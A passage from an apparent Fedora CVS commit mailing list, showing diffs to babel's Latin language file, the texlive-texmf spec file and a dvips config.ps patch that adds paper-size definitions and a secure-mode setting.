 %%           by Johannes Braams, TeXniek
-%% Please report errors to: J.L. Braams babel at braams.cistron.nl
-%%                          Claudio Beccari beccari at polito.it
+%% Please report errors to: J.L. Braams
+%%                          JLBraams at cistron.nl
 \LdfInit{latin}{captionslatin}
 \ifx\l at latin\@undefined
     \@nopatterns{Latin}
@@ -56,10 +35,6 @@
   \expandafter\addto\expandafter\extraslatin
   \expandafter{\extrasmedievallatin}%
   }
-\bbl at declare@ttribute{latin}{withprosodicmarks}{%
-  \expandafter\addto\expandafter\extraslatin
-  \expandafter{\extraswithprosodicmarks}%
-  }
 \@namedef{captionslatin}{%
   \def\prefacename{Praefatio}%
   \def\refname{Conspectus librorum}%
@@ -84,11 +59,10 @@
   \def\glossaryname{Glossarium}%
   }
 \def\datelatin{%
-  \def\november{Novembris}%
+  \def\november{Novembris}
   \def\today{%
     {\check at mathfonts\fontsize\sf at size\z@\math at fontsfalse\selectfont
-      \uppercase\expandafter{\romannumeral\day}}\nobreakspace
-    \ifcase\month\or
+      \uppercase\expandafter{\romannumeral\day}}~\ifcase\month\or
     Ianuarii\or Februarii\or Martii\or Aprilis\or Maii\or Iunii\or
     Iulii\or Augusti\or Septembris\or Octobris\or \november\or
     Decembris\fi
@@ -105,19 +79,19 @@
 \babel at savevariable{\lccode`\V}%
 \babel at savevariable{\uccode`\u}%
 \lccode`\V=`\u \uccode`\u=`\V}
-\addto\extrasmedievallatin{%
-  \babel at savevariable{\lccode`\^^e6}% T1   \ae
-  \babel at savevariable{\uccode`\^^e6}% T1   \ae
-  \babel at savevariable{\lccode`\^^c6}% T1   \AE
-  \babel at savevariable{\lccode`\^^f7}% T1   \oe
-  \babel at savevariable{\uccode`\^^f7}% T1   \OE
-  \babel at savevariable{\lccode`\^^d7}% T1   \OE
-  \babel at savevariable{\lccode`\^^1a}% OT1  \ae
-  \babel at savevariable{\uccode`\^^1a}% OT1  \ae
-  \babel at savevariable{\lccode`\^^1d}% OT1  \AE
-  \babel at savevariable{\lccode`\^^1b}% OT1  \oe
-  \babel at savevariable{\uccode`\^^1b}% OT1  \OE
-  \babel at savevariable{\lccode`\^^1e}% OT1  \OE
+\addto\extraslatin{%
+  \babel at savevariable{\lccode`\^^e6}% T1
+  \babel at savevariable{\uccode`\^^e6}% T1
+  \babel at savevariable{\lccode`\^^c6}% T1
+  \babel at savevariable{\lccode`\^^f7}% T1
+  \babel at savevariable{\uccode`\^^d7}% T1
+  \babel at savevariable{\lccode`\^^d7}% T1
+  \babel at savevariable{\lccode`\^^1a}% OT1
+  \babel at savevariable{\uccode`\^^1a}% OT1
+  \babel at savevariable{\lccode`\^^1d}% OT1
+  \babel at savevariable{\lccode`\^^1b}% OT1
+  \babel at savevariable{\uccode`\^^1b}% OT1
+  \babel at savevariable{\lccode`\^^1e}% OT1
   \SetLatinLigatures}
 \providecommand\SetLatinLigatures{%
   \def\@tempA{T1}\ifx\@tempA\f at encoding
@@ -133,76 +107,56 @@
   \fi
   \let\@tempA\@undefined
   }
-\addto\extraslatin{\def\ProsodicMarksOn{%
-\GenericError{(latin)\@spaces\@spaces\@spaces\@spaces}%
-            {Latin language error: \string\ProsodicMarksOn\space
-            is defined by setting the\MessageBreak
-            language attribute to `withprosodicmarks'\MessageBreak
-            If you continue you are likely to encounter\MessageBreak
-            fatal errors that I can't recover}%
-            {See the Latin language description in the babel
-            documentation for explanation}{\@ehd}}}
-\addto\extraslatin{\let\ProsodicMarksOff\relax}
-\catcode`\= \active
-\catcode`\^ \active
-\addto\extraslatin{\languageshorthands{latin}}%
-\addto\extraswithprosodicmarks{\bbl at activate{^}}%
-\addto\extraswithprosodicmarks{\bbl at activate{=}}%
-\addto\noextraswithprosodicmarks{\bbl at deactivate{^}}%
-\addto\noextraswithprosodicmarks{\bbl at deactivate{=}}%
-\addto\extraswithprosodicmarks{\ProsodicMarks}
-\def\ProsodicMarks{%
-\def\ProsodicMarksOn{\catcode`\^ 13\catcode`\= 13\relax}%
-\def\ProsodicMarksOff{\catcode`\^ 7\catcode`\= 12\relax}%
-\initiate at active@char{^}%
-\initiate at active@char{=}%
+\initiate at active@char{^}
+\initiate at active@char{=}
+\addto\extraslatin{\languageshorthands{latin}}
+\addto\extraslatin{\bbl at activate{^}}
+\addto\extraslatin{\bbl at activate{=}}
+\addto\noextraslatin{\bbl at deactivate{^}}
+\addto\noextraslatin{\bbl at deactivate{=}}
 \declare at shorthand{latin}{^a}{%
-    \textormath{\u{a}\bbl at allowhyphens}{\hat{a}}}%
+    \textormath{\u{a}\allowhyphens}{\hat{a}}}
 \declare at shorthand{latin}{^e}{%
-    \textormath{\u{e}\bbl at allowhyphens}{\hat{e}}}%
+    \textormath{\u{e}\nobreak\hskip\z at skip}{\hat{e}}}
 \declare at shorthand{latin}{^i}{%
-    \textormath{\u{\i}\bbl at allowhyphens}{\hat{\imath}}}%
+    \textormath{\u{\i}\nobreak\hskip\z at skip}{\hat{\imath}}}
 \declare at shorthand{latin}{^o}{%
-    \textormath{\u{o}\bbl at allowhyphens}{\hat{o}}}%
+    \textormath{\u{o}\nobreak\hskip\z at skip}{\hat{o}}}
 \declare at shorthand{latin}{^u}{%
-    \textormath{\u{u}\bbl at allowhyphens}{\hat{u}}}%
+    \textormath{\u{u}\nobreak\hskip\z at skip}{\hat{u}}}
 \declare at shorthand{latin}{=a}{%
-    \textormath{\={a}\bbl at allowhyphens}{\bar{a}}}%
+    \textormath{\={a}\nobreak\hskip\z at skip}{\bar{a}}}
 \declare at shorthand{latin}{=e}{%
-    \textormath{\={e}\bbl at allowhyphens}{\bar{e}}}%
+    \textormath{\={e}\nobreak\hskip\z at skip}{\bar{e}}}
 \declare at shorthand{latin}{=i}{%
-    \textormath{\={\i}\bbl at allowhyphens}{\bar{\imath}}}%
+    \textormath{\={\i}\nobreak\hskip\z at skip}{\bar{\imath}}}
 \declare at shorthand{latin}{=o}{%
-    \textormath{\={o}\bbl at allowhyphens}{\bar{o}}}%
+    \textormath{\={o}\nobreak\hskip\z at skip}{\bar{o}}}
 \declare at shorthand{latin}{=u}{%
-    \textormath{\={u}\bbl at allowhyphens}{\bar{u}}}%
-}
-\catcode`\= 12\relax
-\catcode`\^ 7\relax
+    \textormath{\={u}\nobreak\hskip\z at skip}{\bar{u}}}
 \addto\extraslatin{\def\LatinMarksOn{\shorthandon{^}\shorthandon{=}}}
 \addto\extraslatin{\def\LatinMarksOff{\shorthandoff{^}\shorthandoff{=}}}
-\addtoextraslatin{\LatinMarksOff}
+\catcode`\= 12\relax
+\catcode`\^ 7\relax
 \initiate at active@char{"}%
 \addto\extraslatin{\bbl at activate{"}%
 }
-\declare at shorthand{latin}{"}{%
-  \ifmmode
+\declare at shorthand{latin}{"}{\ifmmode
     \def\lt@@next{''}%
-  \else
+\else
     \def\lt@@next{\futurelet\lt at temp\lt at cwm}%
-  \fi
-  \lt@@next
+\fi
+\lt@@next
 }%
 \def\lt at allowhyphens{\nobreak\discretionary{-}{}{}\nobreak\hskip\z at skip}
 \newcommand*{\lt at cwm}{\let\lt at n@xt\relax
-  \ifcat\noexpand\lt at temp a%
+\ifcat\noexpand\lt at temp a%
     \let\lt at n@xt\lt at allowhyphens
-  \else
+\else
     \if\noexpand\lt at temp\string|%
-      \def\lt at n@xt{\lt at allowhyphens\@gobble}%
+        \def\lt at n@xt{\lt at allowhyphens\@gobble}%
     \fi
-  \fi
-  \lt at n@xt}%
+\fi\lt at n@xt}%
 \ldf at finish{latin}
 %%
 %% \CharacterTable


Index: texlive-texmf.spec
===================================================================
RCS file: /cvs/pkgs/rpms/texlive-texmf/devel/texlive-texmf.spec,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- texlive-texmf.spec	27 Jul 2009 05:52:35 -0000	1.33
+++ texlive-texmf.spec	16 Oct 2009 05:34:30 -0000	1.34
@@ -9,9 +9,12 @@
 
 %define	ptex_texmf_ver 2.5
 
+# do not provide any perl deps (#516350)
+%define __perl_provides %{nil}
+
 Name:		texlive-texmf
 Version:	2007
-Release:	29%{?dist}
+Release:	30%{?dist}
 Summary:	Architecture independent parts of the TeX formatting system
 
 Group:		Applications/Publishing
@@ -58,6 +61,7 @@ Patch3:		texlive-2007-texmfconf.patch
 Patch4:		texlive-2007-romanian.patch
 Patch5:		texlive-2007-euro.patch
 Patch6:		texlive-2007-beamerblocks.patch
+Patch7:		texlive-2007-latin.patch
 
 # Patch1000-: Japanese pTeX
 Patch1001: texlive-2007-texmf.cnf-ptex.patch
@@ -181,6 +185,7 @@ install -p -m644 %{SOURCE50} texmf-var/d
 %patch4  -p0
 %patch5  -p0
 %patch6  -p0
+%patch7  -p1
 
 cp -p %{SOURCE91} .
 
@@ -823,6 +828,10 @@ fi
 %doc %{_texmf_main}/doc/
 
 %changelog
+* Thu Oct 15 2009 Jindrich Novy <jnovy at redhat.com> 2007-30
+- update latin.ldf (#469948)
+- do not provide any perl dependencies (#516350)
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2007-29
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From jnovy at fedoraproject.org  Fri Oct 16 05:36:21 2009
From: jnovy at fedoraproject.org (Jindrich Novy)
Date: Fri, 16 Oct 2009 05:36:21 +0000 (UTC)
Subject: rpms/texlive/devel texlive-dvipsconfig.patch, NONE,
	1.1 texlive-lacheck.patch, 1.2, 1.3 texlive-poolfix.patch, 1.1,
	1.2 texlive-poppler.patch, 1.5, 1.6 texlive.spec, 1.54, 1.55
Message-ID: <20091016053621.67B4811C00E5@cvs1.fedora.phx.redhat.com>

Author: jnovy

Update of /cvs/pkgs/rpms/texlive/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25958

Modified Files:
	texlive-lacheck.patch texlive-poolfix.patch 
	texlive-poppler.patch texlive.spec 
Added Files:
	texlive-dvipsconfig.patch 
Log Message:
* Thu Oct 15 2009 Jindrich Novy <jnovy at redhat.com> 2007-45
- make kpathsea not dependent on texlive
- fix lacheck again (#451513)
- fix dvips configuration (#467542)
- update kpathsea description and summary (#519257)
- use upstream patch to fix pool overflow CVE-2009-1284 (#492136)


texlive-dvipsconfig.patch:
 config.ps |  607 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++------
 1 file changed, 555 insertions(+), 52 deletions(-)

--- NEW FILE texlive-dvipsconfig.patch ---
diff -up texlive-2007/texk/dvipsk/config.ps.dvipsconfig texlive-2007/texk/dvipsk/config.ps
--- texlive-2007/texk/dvipsk/config.ps.dvipsconfig	2006-01-17 22:41:51.000000000 +0100
+++ texlive-2007/texk/dvipsk/config.ps	2009-10-15 21:01:23.000000000 +0200
@@ -1,83 +1,586 @@
-* Configuration file for dvips.
-*
-*  Default resolution.  This needs to be correct.
-D 300
-*
-*  Metafont mode to use to generate bitmap fonts.  This needs to be a
-*  mode with the specified resolution.  Various hardwired defaults are
-*  used for a few resolutions, but it is best to specify it explicitly.
-*  http://www.ctan.org/tex-archive/fonts/modes/modes.mf has a list of modes.
-*M modename
-*
-*  Amount of memory.  Not crucial to be exact, if you have a lot.
-m 470000
-*
-*  If unspecified, output goes to a file.
-*  To send output via a pipe to a printing program, use something like:
-*o |lpr
-*o |lpr -Pmyprinter
-*  To send output to standard output by default, use:
-*o -
-*
-*  z1 is "secure", i.e., inhibits execution of `shell commands` in \specials.
-*  Dvips allows this by default.
-*z1
-*
-*  Additional default .map files.
-* p +cmfonts.map
-* p +lafonts.map
-* p +cyrfonts.map
-* p +eufonts.map
-*
-*   Last resort bitmap sizes.
-R  240 270 300 329 360 432 518 622 746 896
-*
-*
-*   Paper size information.  First definition is the default.
-*
-*   If your default is a4 uncomment the following definition
-*   and comment out the letterSize definition.
-@ a4size 210mm 297mm
+% config.ps - configuration file for dvips.
+% Tomas Rokicki, Thomas Esser, Karl Berry, et al., 1986ff, public domain.
+
+% Memory available. Download the three-line PostScript file:
+%   %! Hey, we're PostScript
+%   /Times-Roman findfont 30 scalefont setfont 144 432 moveto
+%   vmstatus exch sub 40 string cvs show pop showpage
+% to determine this number. (It will be the only thing printed.)
+m 3500000
+
+% Run securely.  z2 disables both shell command execution in
+% `\special' and config files (via the `E' option) and opening of any
+% absolute filenames.  z1, the default, forbids shell escapes but
+% allows absolute filenames.  z0 allows both.  The corresponding
+% command line options are -R0|-R1|-R2
+z1
+
+% How to print, maybe with lp instead lpr, etc. If commented-out, output
+% will go into a file by default.
+%o |lpr
+
+% Default resolution of this device, in dots per inch.
+D 600
+X 600
+Y 600
+
+% Metafont mode.  (This is completely different from the -M
+% command-line option, which controls whether mktexpk is invoked.)
+% See ../../metafont/misc/modes.mf for a list of mode names.  This mode
+% and the D number above must agree, or mktexpk will get confused.
+M ljfour
+
+% Last resort bitmap sizes.
+R 300 600
+
+% Correct printer offset. You can use testpage.tex from the LaTeX
+% distribution to find these numbers.
+O 0pt,0pt
+
+% Bitmap font compression. Results in more compact output files, but
+% sometimes causes trouble. So the default is disabled. Set Z1 to enable
+% this feature.
+Z0
+
+% Partially download Type 1 fonts by default.  Only reason not to do
+% this is if you encounter bugs.  (Please report them to
+% @email{tex-k at tug.org} if you do.)
+j
+
+% This shows how to add your own map file.
+% Remove the comment and adjust the name:
+% p +myfonts.map
+
+% If we have setpagedevice, use that.
+% else if we have the a4 resp. letter operator, use that.
+% else do nothing to set the page size.
+% 
+% In the past, the a4size and letterSize definitions did not set the
+% page size, but we want to set it if we can so that ps2pdf can work
+% properly.  Here, a4 and a4size, and letter and letterSize, are
+% identical, and we prefer the a4/letter names -- texconfig uses them.
+ 
+% 0 0 595 842 is the right bounding box that applications expect
+% for A4.  Since dvips always rounds up, choose something slightly
+% smaller for our paper size.
+
+@ a4 210mm 297mm
 @+ ! %%DocumentPaperSizes: a4
- at + %%PaperSize: a4
+ at + %%BeginPaperSize: a4
+ at + /setpagedevice where
+ at +  { pop << /PageSize [595 842] >> setpagedevice }
+ at +  { /a4 where { pop a4 } if }
+ at + ifelse
+ at + %%EndPaperSize
 
-*@ letterSize 8.5in 11in
+@ letter 8.5in 11in
 @+ ! %%DocumentPaperSizes: Letter
+ at + %%BeginPaperSize: Letter
+ at + /setpagedevice where
+ at +  { pop << /PageSize [612 792] >> setpagedevice }
+ at +  { /letter where { pop letter } if }
+ at + ifelse
+ at + %%EndPaperSize
 
-@ letter 8.5in 11in
+@ a4size 210mm 297mm
+ at + ! %%DocumentPaperSizes: a4
+ at + %%BeginPaperSize: a4
+ at + /setpagedevice where
+ at +  { pop << /PageSize [595 842] >> setpagedevice }
+ at +  { /a4 where { pop a4 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ letterSize 8.5in 11in
 @+ ! %%DocumentPaperSizes: Letter
 @+ %%BeginPaperSize: Letter
- at + %letter
+ at + /setpagedevice where
+ at +  { pop << /PageSize [612 792] >> setpagedevice }
+ at +  { /letter where { pop letter } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+% The jacow paper size is the smaller of letter and a4 in both
+% dimensions, and can therefore hopefully be printed on either paper
+% size.  As far as we know, Volker Schaa first used it for the JACOW
+% conference proceedings that he produced.
+@ jacow 210mm 11in
+ at + ! %%DocumentPaperSizes: jacow
+ at + %%BeginPaperSize: jacow
+ at + /setpagedevice where
+ at +  { pop << /PageSize [595 792] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+% The smallbook paper size has been used by the Free Software Foundation
+% to print manuals for many years, and is part of Texinfo.
+@ smallbook 7in 9.25in
+ at + ! %%DocumentPaperSizes: smallbook
+ at + %%BeginPaperSize: smallbook
+ at + /setpagedevice where
+ at +  { pop << /PageSize [504 666] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ halfexecutive 133mm 184mm
+ at + ! %%DocumentPaperSizes: halfexecutive
+ at + %%BeginPaperSize: halfexecutive
+ at + /setpagedevice where
+ at +  { pop << /PageSize [378 522] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ halfletter 140mm 216mm
+ at + ! %%DocumentPaperSizes: halfletter
+ at + %%BeginPaperSize: halfletter
+ at + /setpagedevice where
+ at +  { pop << /PageSize [396 612] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ statement 140mm 216mm
+ at + ! %%DocumentPaperSizes: statement
+ at + %%BeginPaperSize: statement
+ at + /setpagedevice where
+ at +  { pop << /PageSize [396 612] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ executive 184mm 267mm
+ at + ! %%DocumentPaperSizes: executive
+ at + %%BeginPaperSize: executive
+ at + /setpagedevice where
+ at +  { pop << /PageSize [522 756] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+% for powerdot
+@ screen 8.25in 11in
+ at + ! %%DocumentPaperSizes: Screen
+ at + %%BeginPaperSize: Screen
+ at + /setpagedevice where
+ at +  { pop << /PageSize [594 792] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+% a common size for printers (in north america).
+@ sixbynine 6in 9in
+ at + ! %%DocumentPaperSizes: SixByNine
+ at + %%BeginPaperSize: SixByNine
+ at + /setpagedevice where
+ at +  { pop << /PageSize [432 648] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ quarto 215mm 275mm
+ at + ! %%DocumentPaperSizes: quarto
+ at + %%BeginPaperSize: quarto
+ at + /setpagedevice where
+ at +  { pop << /PageSize [610 780] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ note 216mm 279mm
+ at + ! %%DocumentPaperSizes: note
+ at + %%BeginPaperSize: note
+ at + /setpagedevice where
+ at +  { pop << /PageSize [612 792] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ folio 216mm 330mm
+ at + ! %%DocumentPaperSizes: folio
+ at + %%BeginPaperSize: folio
+ at + /setpagedevice where
+ at +  { pop << /PageSize [612 936] >> setpagedevice }
+ at + if
 @+ %%EndPaperSize
 
 @ legal 8.5in 14in
 @+ ! %%DocumentPaperSizes: Legal
 @+ %%BeginPaperSize: Legal
- at + %legal
+ at + /setpagedevice where
+ at +  { pop << /PageSize [612 1008] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ 10x14 10in 14in
+ at + ! %%DocumentPaperSizes: 10x14
+ at + %%BeginPaperSize: 10x14
+ at + /setpagedevice where
+ at +  { pop << /PageSize [720 1008] >> setpagedevice }
+ at + if
 @+ %%EndPaperSize
 
 @ ledger 17in 11in
 @+ ! %%DocumentPaperSizes: Ledger
 @+ %%BeginPaperSize: Ledger
- at + %ledger
+ at + /setpagedevice where
+ at +  { pop << /PageSize [1224 792] >> setpagedevice }
+ at + if
 @+ %%EndPaperSize
 
 @ tabloid 11in 17in
 @+ ! %%DocumentPaperSizes: Tabloid
 @+ %%BeginPaperSize: Tabloid
- at + %11x17
+ at + /setpagedevice where
+ at +  { pop << /PageSize [792 1224] >> setpagedevice }
+ at + if
 @+ %%EndPaperSize
 
-@ a4 210mm 297mm
- at + ! %%DocumentPaperSizes: a4
- at + %%BeginPaperSize: a4
- at + %a4
+@ 11x17 11in 17in
+ at + ! %%DocumentPaperSizes: 11x17
+ at + %%BeginPaperSize: 11x17
+ at + /setpagedevice where
+ at +  { pop << /PageSize [792 1224] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ a0 841mm 1189mm
+ at + ! %%DocumentPaperSizes: a0
+ at + %%BeginPaperSize: a0
+ at + /setpagedevice where
+ at +  { pop << /PageSize [2384 3370] >> setpagedevice }
+ at +  { /a0 where { pop a0 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ a1 594mm 841mm
+ at + ! %%DocumentPaperSizes: a1
+ at + %%BeginPaperSize: a1
+ at + /setpagedevice where
+ at +  { pop << /PageSize [1684 2384] >> setpagedevice }
+ at +  { /a1 where { pop a1 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ a2 420mm 594mm
+ at + ! %%DocumentPaperSizes: a2
+ at + %%BeginPaperSize: a2
+ at + /setpagedevice where
+ at +  { pop << /PageSize [1191 1684] >> setpagedevice }
+ at +  { /a2 where { pop a2 } if }
+ at + ifelse
 @+ %%EndPaperSize
 
 @ a3 297mm 420mm
 @+ ! %%DocumentPaperSizes: a3
 @+ %%BeginPaperSize: a3
- at + %a3
+ at + /setpagedevice where
+ at +  { pop << /PageSize [842 1191] >> setpagedevice }
+ at +  { /a3 where { pop a3 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ a5 148mm 210mm
+ at + ! %%DocumentPaperSizes: a5
+ at + %%BeginPaperSize: a5
+ at + /setpagedevice where
+ at +  { pop << /PageSize [420 595] >> setpagedevice }
+ at +  { /a5 where { pop a5 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ a6 105mm 148mm
+ at + ! %%DocumentPaperSizes: a6
+ at + %%BeginPaperSize: a6
+ at + /setpagedevice where
+ at +  { pop << /PageSize [298 420] >> setpagedevice }
+ at +  { /a6 where { pop a6 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ a7 74mm 105mm
+ at + ! %%DocumentPaperSizes: a7
+ at + %%BeginPaperSize: a7
+ at + /setpagedevice where
+ at +  { pop << /PageSize [210 298] >> setpagedevice }
+ at +  { /a7 where { pop a7 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ a8 52mm 74mm
+ at + ! %%DocumentPaperSizes: a8
+ at + %%BeginPaperSize: a8
+ at + /setpagedevice where
+ at +  { pop << /PageSize [147 210] >> setpagedevice }
+ at +  { /a8 where { pop a8 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ a9 37mm 52mm
+ at + ! %%DocumentPaperSizes: a9
+ at + %%BeginPaperSize: a9
+ at + /setpagedevice where
+ at +  { pop << /PageSize [105 147] >> setpagedevice }
+ at +  { /a9 where { pop a9 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ a10 26mm 37mm
+ at + ! %%DocumentPaperSizes: a10
+ at + %%BeginPaperSize: a10
+ at + /setpagedevice where
+ at +  { pop << /PageSize [74 105] >> setpagedevice }
+ at +  { /a10 where { pop a10 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ jisb0 1030mm 1456mm
+ at + ! %%DocumentPaperSizes: jisb0
+ at + %%BeginPaperSize: jisb0
+ at + /setpagedevice where
+ at +  { pop << /PageSize [2920 4127] >> setpagedevice }
+ at +  { /jisb0 where { pop jisb0 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ jisb1 728mm 1030mm
+ at + ! %%DocumentPaperSizes: jisb1
+ at + %%BeginPaperSize: jisb1
+ at + /setpagedevice where
+ at +  { pop << /PageSize [2064 2920] >> setpagedevice }
+ at +  { /jisb1 where { pop jisb1 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ jisb2 515mm 728mm
+ at + ! %%DocumentPaperSizes: jisb2
+ at + %%BeginPaperSize: jisb2
+ at + /setpagedevice where
+ at +  { pop << /PageSize [1460 2064] >> setpagedevice }
+ at +  { /jisb2 where { pop jisb2 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ jisb3 364mm 515mm
+ at + ! %%DocumentPaperSizes: jisb3
+ at + %%BeginPaperSize: jisb3
+ at + /setpagedevice where
+ at +  { pop << /PageSize [1032 1460] >> setpagedevice }
+ at +  { /jisb3 where { pop jisb3 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ jisb4 257mm 364mm
+ at + ! %%DocumentPaperSizes: jisb4
+ at + %%BeginPaperSize: jisb4
+ at + /setpagedevice where
+ at +  { pop << /PageSize [729 1032] >> setpagedevice }
+ at +  { /jisb4 where { pop jisb4 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ jisb5 182mm 257mm
+ at + ! %%DocumentPaperSizes: jisb5
+ at + %%BeginPaperSize: jisb5
+ at + /setpagedevice where
+ at +  { pop << /PageSize [516 729] >> setpagedevice }
+ at +  { /jisb5 where { pop jisb5 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ jisb6 128mm 182mm
+ at + ! %%DocumentPaperSizes: jisb6
+ at + %%BeginPaperSize: jisb6
+ at + /setpagedevice where
+ at +  { pop << /PageSize [363 516] >> setpagedevice }
+ at +  { /jisb6 where { pop jisb6 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ jisb7 91mm 128mm
+ at + ! %%DocumentPaperSizes: jisb7
+ at + %%BeginPaperSize: jisb7
+ at + /setpagedevice where
+ at +  { pop << /PageSize [258 363] >> setpagedevice }
+ at +  { /jisb7 where { pop jisb7 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ jisb8 64mm 91mm
+ at + ! %%DocumentPaperSizes: jisb8
+ at + %%BeginPaperSize: jisb8
+ at + /setpagedevice where
+ at +  { pop << /PageSize [181 258] >> setpagedevice }
+ at +  { /jisb8 where { pop jisb8 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ b0 1000mm 1414mm
+ at + ! %%DocumentPaperSizes: b0
+ at + %%BeginPaperSize: b0
+ at + /setpagedevice where
+ at +  { pop << /PageSize [2835 4008] >> setpagedevice }
+ at +  { /b0 where { pop b0 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ b1 707mm 1000mm
+ at + ! %%DocumentPaperSizes: b1
+ at + %%BeginPaperSize: b1
+ at + /setpagedevice where
+ at +  { pop << /PageSize [2004 2835] >> setpagedevice }
+ at +  { /b1 where { pop b1 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ b2 500mm 707mm
+ at + ! %%DocumentPaperSizes: b2
+ at + %%BeginPaperSize: b2
+ at + /setpagedevice where
+ at +  { pop << /PageSize [1417 2004] >> setpagedevice }
+ at +  { /b2 where { pop b2 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ b3 353mm 500mm
+ at + ! %%DocumentPaperSizes: b3
+ at + %%BeginPaperSize: b3
+ at + /setpagedevice where
+ at +  { pop << /PageSize [1001 1417] >> setpagedevice }
+ at +  { /b3 where { pop b3 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ b4 250mm 353mm
+ at + ! %%DocumentPaperSizes: b4
+ at + %%BeginPaperSize: b4
+ at + /setpagedevice where
+ at +  { pop << /PageSize [709 1001] >> setpagedevice }
+ at +  { /b4 where { pop b4 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ b5 176mm 250mm
+ at + ! %%DocumentPaperSizes: b5
+ at + %%BeginPaperSize: b5
+ at + /setpagedevice where
+ at +  { pop << /PageSize [499 709] >> setpagedevice }
+ at +  { /b5 where { pop b5 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ b6 125mm 176mm
+ at + ! %%DocumentPaperSizes: b6
+ at + %%BeginPaperSize: b6
+ at + /setpagedevice where
+ at +  { pop << /PageSize [354 499] >> setpagedevice }
+ at +  { /b6 where { pop b6 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ c5 162mm 229mm
+ at + ! %%DocumentPaperSizes: c5
+ at + %%BeginPaperSize: c5
+ at + /setpagedevice where
+ at +  { pop << /PageSize [459 649] >> setpagedevice }
+ at +  { /c5 where { pop c5 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ DL 110mm 220mm
+ at + ! %%DocumentPaperSizes: DL
+ at + %%BeginPaperSize: DL
+ at + /setpagedevice where
+ at +  { pop << /PageSize [312 624] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ Comm10 105mm 241mm
+ at + ! %%DocumentPaperSizes: Comm10
+ at + %%BeginPaperSize: Comm10
+ at + /setpagedevice where
+ at +  { pop << /PageSize [297 684] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ Monarch 98.4mm 190.5mm
+ at + ! %%DocumentPaperSizes: Monarch
+ at + %%BeginPaperSize: Monarch
+ at + /setpagedevice where
+ at +  { pop << /PageSize [279 540] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ archE 36in 48in
+ at + ! %%DocumentPaperSizes: archE
+ at + %%BeginPaperSize: archE
+ at + /setpagedevice where
+ at +  { pop << /PageSize [2592 3456] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ archD 24in 36in
+ at + ! %%DocumentPaperSizes: archD
+ at + %%BeginPaperSize: archD
+ at + /setpagedevice where
+ at +  { pop << /PageSize [1728 2592] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ archC 18in 24in
+ at + ! %%DocumentPaperSizes: archC
+ at + %%BeginPaperSize: archC
+ at + /setpagedevice where
+ at +  { pop << /PageSize [1296 1728] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ archB 12in 18in
+ at + ! %%DocumentPaperSizes: archB
+ at + %%BeginPaperSize: archB
+ at + /setpagedevice where
+ at +  { pop << /PageSize [864 1296] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ archA 9in 12in
+ at + ! %%DocumentPaperSizes: archA
+ at + %%BeginPaperSize: archA
+ at + /setpagedevice where
+ at +  { pop << /PageSize [648 864] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ flsa 216mm 330.2mm
+ at + ! %%DocumentPaperSizes: flsa
+ at + %%BeginPaperSize: flsa
+ at + /setpagedevice where
+ at +  { pop << /PageSize [612 936] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ flse 216mm 330.2mm
+ at + ! %%DocumentPaperSizes: flse
+ at + %%BeginPaperSize: flse
+ at + /setpagedevice where
+ at +  { pop << /PageSize [612 936] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ csheet 431.8mm 558.8mm
+ at + ! %%DocumentPaperSizes: csheet
+ at + %%BeginPaperSize: csheet
+ at + /setpagedevice where
